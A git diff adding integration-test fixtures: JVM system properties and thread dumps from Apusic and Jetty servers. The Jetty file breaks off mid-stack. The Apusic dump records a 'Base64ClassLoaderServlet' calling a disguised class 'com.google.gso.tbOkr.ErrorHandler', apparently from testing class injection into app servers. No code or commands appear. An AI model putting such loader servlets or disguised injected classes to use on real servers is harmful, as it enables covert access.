a/integration-test/src/test/resources/infos/Apusic901ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Apusic901ContainerTestBasicInfo.txt new file mode 100644 index 00000000..5b014f52 --- /dev/null +++ b/integration-test/src/test/resources/infos/Apusic901ContainerTestBasicInfo.txt @@ -0,0 +1,321 @@ +# Generated At 2026-01-09 09:41:57 +SystemProps: +java.vendor: Temurin +sun.java.launcher: SUN_STANDARD +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.name: Linux +sun.boot.class.path: /usr/local/ass/lib/endorsed/javax-annotations-api.jar:/opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.apusic.security.jacc.PolicyConfigurationFactoryImpl +com.apusic.home: /usr/local/ass +apusic.http.disabledMethods: DELETE,PUT,TRACE,OPTIONS +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_472-b08 +user.name: root +apusic.prefer.war.classes.include: +com.apusic.domain.home: /usr/local/ass/domains/server1 +user.language: en +sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64 +jmx.invoke.getters: true +java.version: 1.8.0_472 +apusic.http.status.forbiddenToNotFound: true +java.util.logging.manager: com.apusic.logging.manager.ServerLogManager +user.timezone: Etc/UTC +java.net.preferIPv4Stack: true +com.apusic.invocation.InheritContext: false +sun.arch.data.model: 64 +javax.persistence.spi.PersistenceProvider: org.eclipse.persistence.jpa.PersistenceProvider +java.endorsed.dirs: /usr/local/ass/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +apusic.async.servlet.multi.request.event: true +java.class.version: 52.0 +user.country: US +java.home: /opt/java/openjdk/jre +apusic.prefer.war.classes.exclude: java.,javax.,org.w3c.,org.xml.,com.sun.faces. +apusic.prefer.war.classes: true +java.vm.info: mixed mode +os.version: 6.8.0-90-generic +org.omg.CORBA.ORBSingletonClass: com.apusic.corba.ee.impl.orb.ORBSingleton +path.separator: : +java.vm.version: 25.472-b08 +java.awt.printerjob: sun.print.PSPrinterJob +apusic.component.invocation.naming.local.optimize: true +sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 6 +awt.toolkit: sun.awt.X11.XToolkit +apusic.web.listener.reload: true +user.home: /root +java.specification.vendor: Oracle Corporation +java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.vendor.url: https://adoptium.net/ +com.apusic.timerpool.size: 5 +java.vm.vendor: Temurin +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.apusic.server.Main -root /usr/local/ass +java.class.path: .:/usr/local/ass/classes:/usr/local/ass/sp/*.jar:/usr/local/ass/common/elite-api.jar:/usr/local/ass/common/javaee.jar:/usr/local/ass/common/operamasks-api.jar:/usr/local/ass/lib/apusic-client.jar:/usr/local/ass/lib/apusic-embed.jar:/usr/local/ass/lib/apusic-jms.jar:/usr/local/ass/lib/apusic-ws.jar:/usr/local/ass/lib/apusic.jar:/usr/local/ass/lib/deploy.jar:/usr/local/ass/lib/elite-api.jar:/usr/local/ass/lib/elite.jar:/usr/local/ass/lib/firststep.jar:/usr/local/ass/lib/jasper-jdt.jar:/usr/local/ass/lib/mejb.jar:/usr/local/ass/lib/operamasks-comp.jar:/usr/local/ass/lib/operamasks-core.jar:/usr/local/ass/lib/razor.jar:/usr/local/ass/lib/*.zip:/usr/local/ass/lib/ext/bcprov-jdk15-1.46.jar:/usr/local/ass/lib/ext/cal10n-api-0.7.7.jar:/usr/local/ass/lib/ext/classmate-0.8.0.jar:/usr/local/ass/lib/ext/commonj.sdo-2.1.1.jar:/usr/local/ass/lib/ext/commons-io-2.2.jar:/usr/local/ass/lib/ext/derby-10.6.1.0.jar:/usr/local/ass/lib/ext/derbyclient-10.6.1.0.jar:/usr/local/ass/lib/ext/dsn-1.4.4.jar:/usr/local/ass/lib/ext/eclipselink-2.4.2.jar:/usr/local/ass/lib/ext/guava-13.0.1.jar:/usr/local/ass/lib/ext/hibernate-validator-5.0.1.Final.jar:/usr/local/ass/lib/ext/javassist-3.12.1.GA.jar:/usr/local/ass/lib/ext/javax.mail-1.4.4.jar:/usr/local/ass/lib/ext/javax.persistence-2.0.5.jar:/usr/local/ass/lib/ext/jaxb-impl-2.2.4.jar:/usr/local/ass/lib/ext/jaxb-xjc-2.2.4.jar:/usr/local/ass/lib/ext/jaxr-impl-1.0.8.jar:/usr/local/ass/lib/ext/jboss-classfilewriter-1.0.4.Final.jar:/usr/local/ass/lib/ext/jboss-logging-3.1.1.GA.jar:/usr/local/ass/lib/ext/jcip-annotations-1.0.jar:/usr/local/ass/lib/ext/je-4.0.92.jar:/usr/local/ass/lib/ext/jettison-1.3.1.jar:/usr/local/ass/lib/ext/jgroups-all.jar:/usr/local/ass/lib/ext/jhall.jar:/usr/local/ass/lib/ext/jmxremote_optional-1.0_01-ea.jar:/usr/local/ass/lib/ext/jstl-1.2.jar:/usr/local/ass/lib/ext/ldapjdk.jar:/usr/local/ass/lib/ext/ldapsp.jar:/usr/local/ass/lib/ext/mx4j-tools-3.0.1.jar:/usr/local/ass/lib/ext/resteasy-jaxb-provider-2.3.6.Final.jar:/usr/local/ass/lib/ext/resteasy-jaxrs-2.3.6.Final.jar:/usr/local/ass/lib/ext/resteasy-jettison-provider-2.3.6.Final.jar:/usr/local/ass/lib/ext/scannotation-1.0.3.jar:/usr/local/ass/lib/ext/slf4j-api-1.7.2.jar:/usr/local/ass/lib/ext/slf4j-ext-1.7.2.jar:/usr/local/ass/lib/ext/weld-api-2.0.Final.jar:/usr/local/ass/lib/ext/weld-core-2.0.0.Final.jar:/usr/local/ass/lib/ext/weld-spi-2.0.Final.jar:/usr/local/ass/lib/ext/xmemcached-1.3.5.jar:/usr/local/ass/lib/ext/*.zip/usr/local/ass/domains/server1/lib/*.zip:/usr/local/ass/domains/server1/lib/*.jar::/agent.jar +java.vm.specification.name: Java Virtual Machine Specification +apusic.connector.useConcurrentCP: true +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.io.tmpdir: /tmp +com.sun.faces.InjectionProvider: com.apusic.deploy.jsf.ApusicInjectionProvider +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext +user.dir: /usr/local/ass/domains/server1 +com.apusic.net.bio: false +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +java.security.auth.login.config: /usr/local/ass/domains/server1/config/auth.cfg +file.encoding: UTF-8 +org.omg.CORBA.ORBClass: com.apusic.corba.ee.impl.orb.ORBImpl +java.specification.version: 1.8 + +=========================================== + +ThreadStacks: +"ApusicTimerThread-1" #12 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247) + at java.lang.Thread.run(Thread.java:750) + +"topic: testTopic dispatching thread" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16b49e2e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at com.apusic.mq.queue.LocalQueue$SelfActivation.check(LocalQueue.java:211) + at com.apusic.mq.queue.LocalQueue$SelfActivation.waitReadable(LocalQueue.java:218) + at com.apusic.mq.queue.LocalQueue.waitReadable(LocalQueue.java:269) + at com.apusic.mq.dispatch.WaitForALLAvailable.dispatch(WaitForALLAvailable.java:37) + at com.apusic.mq.dispatch.DispatchList.doDispatch(DispatchList.java:104) + at com.apusic.mq.dispatch.DispatchList.access$200(DispatchList.java:28) + at com.apusic.mq.dispatch.DispatchList$1.iterate(DispatchList.java:146) + at com.apusic.mq.util.DedicatedTaskRunner.runTask(DedicatedTaskRunner.java:79) + at com.apusic.mq.util.DedicatedTaskRunner$1.run(DedicatedTaskRunner.java:17) + +"AutoDeployer" #22 [TIMED_WAITING] on com.apusic.deploy.runtime.AutoDeployer@505399e9 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.apusic.deploy.runtime.AutoDeployer.run(AutoDeployer.java:70) + at java.lang.Thread.run(Thread.java:750) + +"HTTPSessionSwapper" #21 [TIMED_WAITING] on com.apusic.web.session.AbstractSessionManager$HouseKeeper@42e5bbe0 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.apusic.web.session.AbstractSessionManager$HouseKeeper.run(AbstractSessionManager.java:622) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"main" #1 [WAITING] on com.apusic.server.J2EEServer@20d7d6fb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.apusic.server.J2EEServer.startup(J2EEServer.java:384) + at com.apusic.server.Main.main(Main.java:35) + +"ApusicTimerThread-4" #23 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247) + at java.lang.Thread.run(Thread.java:750) + +"MuxListener" #14 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.apusic.net.NonBlockingListenerThread.run(NonBlockingListenerThread.java:37) + +"LogManager" #11 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@28c7fe88 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.apusic.logging.manager.ServerLogManager$PushThread.dequeue(ServerLogManager.java:669) + at com.apusic.logging.manager.ServerLogManager$PushThread.run(ServerLogManager.java:688) + +"Running HTTPHandler-1" #31 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at com.google.gso.tbOkr.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at java.io.PrintWriter.print(PrintWriter.java:617) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.apusic.web.container.ServletComponent.service(ServletComponent.java:87) + at com.apusic.web.container.ServletFilterWrapper.doFilter(ServletFilterWrapper.java:38) + at com.apusic.web.container.FilterChainImpl.doFilter(FilterChainImpl.java:48) + at com.apusic.util.AttackFilter.doFilter(AttackFilter.java:82) + at com.apusic.web.container.FilterComponent.doFilter(FilterComponent.java:65) + at com.apusic.web.container.FilterChainImpl.performFilter(FilterChainImpl.java:38) + at com.apusic.web.container.FilterChainImpl.doFilter(FilterChainImpl.java:45) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.apusic.web.container.FilterComponent.doFilter(FilterComponent.java:65) + at com.apusic.web.container.FilterChainImpl.performFilter(FilterChainImpl.java:38) + at com.apusic.web.container.WebContainer.invoke(WebContainer.java:1061) + at com.apusic.web.container.WebContainer.doProcessRequest(WebContainer.java:854) + at com.apusic.web.container.WebContainer.processRequest(WebContainer.java:750) + at com.apusic.web.http.VirtualHost.processRequest(VirtualHost.java:216) + at com.apusic.web.http.HttpServer.processRequest(HttpServer.java:304) + at com.apusic.web.http.HttpConnectionHandler.service(HttpConnectionHandler.java:26) + at com.apusic.web.http.ConnectionHandler.processRequest(ConnectionHandler.java:327) + at com.apusic.web.http.ConnectionHandler.processConnection(ConnectionHandler.java:137) + at com.apusic.web.http.ConnectionHandler.run(ConnectionHandler.java:54) + at com.apusic.util.ThreadPoolImpl$WorkerThread.run(ThreadPoolImpl.java:656) + +"ApusicTimerThread-3" #20 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247) + at java.lang.Thread.run(Thread.java:750) + +"HttpReader" #30 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.apusic.web.http.HttpReaderThread$SubSelector.run(HttpReaderThread.java:101) + +"MQ.Server.Reader" #25 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at com.apusic.mq.transport.ReaderThread.run(ReaderThread.java:65) + +"ApusicTimerThread-5" #24 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@472d6b13 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"Idle MQHandler-1" #27 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@755ac836 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at com.apusic.util.ThreadPoolImpl.getWork(ThreadPoolImpl.java:578) + at com.apusic.util.ThreadPoolImpl$WorkerThread.run(ThreadPoolImpl.java:649) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@390a8ba5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"MuxReader" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.apusic.net.ReaderThread$SubSelector.run(ReaderThread.java:120) + +"Thread-3" #18 [WAITING] on com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive@f1f7b01 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive.run(Util.java:736) + +"ApusicTimerThread-2" #13 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive +com.apusic.deploy.runtime.AutoDeployer +com.apusic.logging.manager.ServerLogManager$PushThread +com.apusic.mq.dispatch.DispatchList +com.apusic.mq.dispatch.DispatchList$1 +com.apusic.mq.dispatch.WaitForALLAvailable +com.apusic.mq.queue.LocalQueue +com.apusic.mq.queue.LocalQueue$SelfActivation +com.apusic.mq.transport.ReaderThread +com.apusic.mq.util.DedicatedTaskRunner +com.apusic.mq.util.DedicatedTaskRunner$1 +com.apusic.net.NonBlockingListenerThread +com.apusic.net.ReaderThread$SubSelector +com.apusic.server.Config$TimerThreadFactory$1 +com.apusic.server.J2EEServer +com.apusic.server.Main +com.apusic.util.AttackFilter +com.apusic.util.ThreadPoolImpl +com.apusic.util.ThreadPoolImpl$WorkerThread +com.apusic.web.container.FilterChainImpl +com.apusic.web.container.FilterComponent +com.apusic.web.container.ServletComponent +com.apusic.web.container.ServletFilterWrapper +com.apusic.web.container.WebContainer +com.apusic.web.http.ConnectionHandler +com.apusic.web.http.HttpConnectionHandler +com.apusic.web.http.HttpReaderThread$SubSelector +com.apusic.web.http.HttpServer +com.apusic.web.http.VirtualHost +com.apusic.web.session.AbstractSessionManager$HouseKeeper +com.google.gso.tbOkr.ErrorHandler diff --git a/integration-test/src/test/resources/infos/Jetty12ee11ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Jetty12ee11ContainerTestBasicInfo.txt new file mode 100644 index 00000000..5f613dd2 --- /dev/null +++ b/integration-test/src/test/resources/infos/Jetty12ee11ContainerTestBasicInfo.txt @@ -0,0 +1,328 @@ +# Generated At 2026-01-08 11:45:52 +SystemProps: +java.specification.version: 21 +sun.jnu.encoding: UTF-8 +java.class.path: /var/lib/jetty/resources:/usr/local/jetty/lib/logging/slf4j-api-2.0.17.jar:/usr/local/jetty/lib/logging/jetty-slf4j-impl-12.1.3.jar:/usr/local/jetty/lib/jetty-http-12.1.3.jar:/usr/local/jetty/lib/jetty-util-12.1.3.jar:/usr/local/jetty/lib/jetty-server-12.1.3.jar:/usr/local/jetty/lib/jetty-xml-12.1.3.jar:/usr/local/jetty/lib/jetty-io-12.1.3.jar:/usr/local/jetty/lib/jetty-annotations-12.1.3.jar:/usr/local/jetty/lib/annotations/asm-9.8.jar:/usr/local/jetty/lib/annotations/asm-analysis-9.8.jar:/usr/local/jetty/lib/annotations/asm-commons-9.8.jar:/usr/local/jetty/lib/annotations/asm-tree-9.8.jar:/usr/local/jetty/lib/jetty-deploy-12.1.3.jar:/usr/local/jetty/lib/jetty-session-12.1.3.jar:/usr/local/jetty/lib/jetty-security-12.1.3.jar:/usr/local/jetty/lib/jetty-ee-webapp-12.1.3.jar:/usr/local/jetty/lib/jetty-jndi-12.1.3.jar:/usr/local/jetty/lib/jetty-plus-12.1.3.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +jetty.base: /var/lib/jetty +user.timezone: Etc/UTC +jetty.home: /usr/local/jetty +java.vm.specification.version: 21 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: org.eclipse.jetty.xml.XmlConfiguration asm.version=9.8 java.io.tmpdir=/tmp/jetty java.version=21.0.9 jetty.base=/var/lib/jetty jetty.base.uri=file:///var/lib/jetty jetty.home=/usr/local/jetty jetty.home.uri=file:///usr/local/jetty jetty.webapp.addHiddenClasses=org.eclipse.jetty.logging.,file:///usr/local/jetty/lib/logging/,org.slf4j. runtime.feature.alpn=true slf4j.version=2.0.17 /usr/local/jetty/etc/jetty-bytebufferpool.xml /usr/local/jetty/etc/jetty-http-config.xml /usr/local/jetty/etc/jetty-scheduler.xml /usr/local/jetty/etc/jetty-threadpool.xml /usr/local/jetty/etc/jetty.xml /usr/local/jetty/etc/jetty-deployer-standard.xml /usr/local/jetty/etc/jetty-deployment-scanner.xml /usr/local/jetty/etc/sessions/id-manager.xml /usr/local/jetty/etc/jetty-ee-webapp.xml /usr/local/jetty/etc/jetty-http.xml --env ee11 -cp /usr/local/jetty/lib/jakarta.servlet-api-6.1.0.jar -cp /usr/local/jetty/lib/jetty-ee11-servlet-12.1.3.jar -cp /usr/local/jetty/lib/jetty-ee11-webapp-12.1.3.jar -cp /usr/local/jetty/lib/jetty-ee11-plus-12.1.3.jar -cp /usr/local/jetty/lib/jakarta.transaction-api-2.0.1.jar -cp /usr/local/jetty/lib/jakarta.interceptor-api-2.2.0.jar -cp /usr/local/jetty/lib/jakarta.enterprise.cdi-api-4.1.0.jar -cp /usr/local/jetty/lib/jakarta.inject-api-2.0.1.jar -cp /usr/local/jetty/lib/jakarta.enterprise.lang-model-4.1.0.jar -cp /usr/local/jetty/lib/jetty-ee11-annotations-12.1.3.jar -cp /usr/local/jetty/lib/ee11-annotations/jakarta.annotation-api-3.0.0.jar -cp /usr/local/jetty/lib/ee11-apache-jsp/jakarta.el-api-6.0.1.jar -cp /usr/local/jetty/lib/ee11-apache-jsp/jakarta.servlet.jsp-api-4.0.0.jar -cp /usr/local/jetty/lib/ee11-apache-jsp/ecj-3.42.0.jar -cp /usr/local/jetty/lib/ee11-apache-jsp/mortbay-apache-el-11.0.10.1.jar -cp /usr/local/jetty/lib/ee11-apache-jsp/mortbay-apache-jsp-11.0.10.1.jar -cp /usr/local/jetty/lib/jetty-ee11-apache-jsp-12.1.3.jar /usr/local/jetty/etc/jetty-ee11-webapp.xml /usr/local/jetty/etc/jetty-ee11-deploy.xml +jdk.debug: release +sun.cpu.endian: little +user.home: /var/lib/jetty +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-10-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.9+10-LTS +user.name: jetty +stdout.encoding: UTF-8 +path.separator: : +os.version: 6.8.0-87-generic +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-21.0.9+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +jetty.git.hash: f8d520dade4123ea8ce53fb1b9ac3a7a936a9d0f +java.io.tmpdir: /tmp +java.version: 21.0.9 +user.dir: /var/lib/jetty +os.arch: amd64 +java.vm.specification.name: Java Virtual Machine Specification +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +stderr.encoding: UTF-8 +java.vendor: Eclipse Adoptium +java.vm.version: 21.0.9+10-LTS +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 65.0 + +=========================================== + +ThreadStacks: +"Common-Cleaner" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@58b69ed2 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.9/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.9/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"qtp852687460-28" #28 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@666badc6 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at app//org.eclipse.jetty.util.thread.AutoLock$WithCondition.awaitNanos(AutoLock.java:194) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:273) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1169) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1186) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"qtp852687460-34" #34 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@666badc6 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at 